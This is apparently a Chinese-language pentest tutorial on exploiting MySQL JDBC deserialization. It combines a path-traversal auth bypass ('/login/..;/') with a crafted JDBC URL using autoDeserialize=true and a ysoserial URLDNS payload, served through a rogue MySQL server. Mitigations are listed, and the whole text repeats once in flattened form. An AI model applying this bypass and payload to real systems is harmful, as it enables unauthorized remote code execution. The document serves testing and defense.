从权限绕过到mysql jdbc反序列化
字数 1253 2025-08-10 08:28:45

MySQL JDBC反序列化漏洞利用教学文档

漏洞背景

MySQL JDBC反序列化漏洞是一种通过MySQL JDBC连接参数配置不当导致的远程代码执行漏洞。攻击者可以利用恶意MySQL服务器或中间人攻击方式,在特定配置下触发JDBC客户端的反序列化操作,从而执行任意代码。

漏洞利用前提条件

  1. 目标系统使用MySQL JDBC连接
  2. 目标系统允许用户控制JDBC连接参数(如连接URL)
  3. JDBC连接配置了autoDeserialize=true参数(或某些旧版本JDBC驱动默认启用此功能)

漏洞发现过程

1. 权限绕过

在案例中发现通过URL路径遍历可以绕过权限控制:

/login/..;/

或直接访问:

/index.jsp

2. 发现测试连接功能

找到系统参数配置功能,其中包含"测试连接"功能,可以控制MySQL连接地址。

3. 抓取测试连接请求

测试连接功能的请求包结构需要分析,确认可以控制以下参数:

  • MySQL服务器地址
  • 连接参数

漏洞利用工具准备

1. 恶意MySQL服务器

使用工具:MySQL_Fake_Server
GitHub项目:https://github.com/fnmsd/MySQL_Fake_Server

2. 反序列化利用工具

使用ysoserial生成payload:
GitHub项目:https://github.com/zema1/ysoserial

漏洞利用步骤

1. 构造恶意JDBC连接字符串

关键参数配置:

jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&useUnicode=true&characterEncoding=utf-8&username=yso_urldns_http://www.baidu.com/&password=123456

关键参数说明:

  • autoDeserialize=true:启用自动反序列化
  • useUnicode=true:使用Unicode编码
  • characterEncoding=utf-8:设置字符编码
  • usernamepassword字段可被用于传递payload

2. 启动恶意MySQL服务器

配置MySQL_Fake_Server返回包含恶意序列化数据的响应。

3. 发送测试连接请求

将构造好的JDBC连接字符串通过测试连接功能发送。

4. 验证RCE

观察恶意MySQL服务器日志,确认是否收到连接并执行了反序列化操作。

防御措施

  1. 升级MySQL JDBC驱动到最新版本
  2. 禁止用户控制JDBC连接参数
  3. 禁用autoDeserialize参数或设置为false
  4. 实施网络隔离,限制应用服务器出站连接
  5. 使用安全的编码实践,避免反序列化不可信数据

补充说明

  1. 不同版本的MySQL JDBC驱动对反序列化的处理方式不同
  2. 可利用的gadget链取决于目标系统的类路径
  3. 在实际渗透测试中,需要根据目标环境调整payload

参考工具

  1. MySQL_Fake_Server:https://github.com/fnmsd/MySQL_Fake_Server
  2. ysoserial:https://github.com/zema1/ysoserial

通过以上步骤,安全研究人员可以验证MySQL JDBC反序列化漏洞的存在性,并帮助开发人员修复此类安全问题。

MySQL JDBC反序列化漏洞利用教学文档 漏洞背景 MySQL JDBC反序列化漏洞是一种通过MySQL JDBC连接参数配置不当导致的远程代码执行漏洞。攻击者可以利用恶意MySQL服务器或中间人攻击方式,在特定配置下触发JDBC客户端的反序列化操作,从而执行任意代码。 漏洞利用前提条件 目标系统使用MySQL JDBC连接 目标系统允许用户控制JDBC连接参数(如连接URL) JDBC连接配置了 autoDeserialize=true 参数(或某些旧版本JDBC驱动默认启用此功能) 漏洞发现过程 1. 权限绕过 在案例中发现通过URL路径遍历可以绕过权限控制: 或直接访问: 2. 发现测试连接功能 找到系统参数配置功能,其中包含"测试连接"功能,可以控制MySQL连接地址。 3. 抓取测试连接请求 测试连接功能的请求包结构需要分析,确认可以控制以下参数: MySQL服务器地址 连接参数 漏洞利用工具准备 1. 恶意MySQL服务器 使用工具:MySQL_ Fake_ Server GitHub项目:https://github.com/fnmsd/MySQL_ Fake_ Server 2. 反序列化利用工具 使用ysoserial生成payload: GitHub项目:https://github.com/zema1/ysoserial 漏洞利用步骤 1. 构造恶意JDBC连接字符串 关键参数配置: 关键参数说明: autoDeserialize=true :启用自动反序列化 useUnicode=true :使用Unicode编码 characterEncoding=utf-8 :设置字符编码 username 和 password 字段可被用于传递payload 2. 启动恶意MySQL服务器 配置MySQL_ Fake_ Server返回包含恶意序列化数据的响应。 3. 发送测试连接请求 将构造好的JDBC连接字符串通过测试连接功能发送。 4. 验证RCE 观察恶意MySQL服务器日志,确认是否收到连接并执行了反序列化操作。 防御措施 升级MySQL JDBC驱动到最新版本 禁止用户控制JDBC连接参数 禁用 autoDeserialize 参数或设置为false 实施网络隔离,限制应用服务器出站连接 使用安全的编码实践,避免反序列化不可信数据 补充说明 不同版本的MySQL JDBC驱动对反序列化的处理方式不同 可利用的gadget链取决于目标系统的类路径 在实际渗透测试中,需要根据目标环境调整payload 参考工具 MySQL_ Fake_ Server:https://github.com/fnmsd/MySQL_ Fake_ Server ysoserial:https://github.com/zema1/ysoserial 通过以上步骤,安全研究人员可以验证MySQL JDBC反序列化漏洞的存在性,并帮助开发人员修复此类安全问题。